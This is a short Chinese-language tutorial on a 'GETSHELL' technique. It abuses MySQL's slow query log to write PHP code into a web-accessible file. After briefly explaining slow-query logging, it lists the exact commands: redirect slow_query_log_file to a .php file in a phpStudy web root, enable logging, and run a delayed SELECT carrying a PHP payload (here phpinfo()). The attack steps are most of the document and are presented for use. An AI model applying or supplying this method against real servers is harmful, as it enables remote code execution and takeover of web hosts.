通過開啟慢查詢日志,配置可解析日志文件GETSHELL。
MySQL的慢查詢日志是MySQL提供的一種日志記錄,它用來記錄在MySQL中響應時間超過閥值的語句。
long_query_time的默認值為10,意思是運行10S以上的語句。
該值可以指定為微秒的分辨率。具體指運行時間超過long_query_time值的SQL,則會被記錄到慢查詢日志中。
對日志量龐大,直接訪問日志網頁極有可能出現500錯誤。
通過訪問這種慢查詢的日志文件GETSHELL確實是一種幫助。
show variables like '%slow%';
set GLOBAL slow_query_log_file='C:/phpStudy/PHPTutorial/WWW/slow.php';
set GLOBAL slow_query_log=on;
set GLOBAL log_queries_not_using_indexes=on;
select '<?php phpinfo();?>' from mysql.db where sleep(10);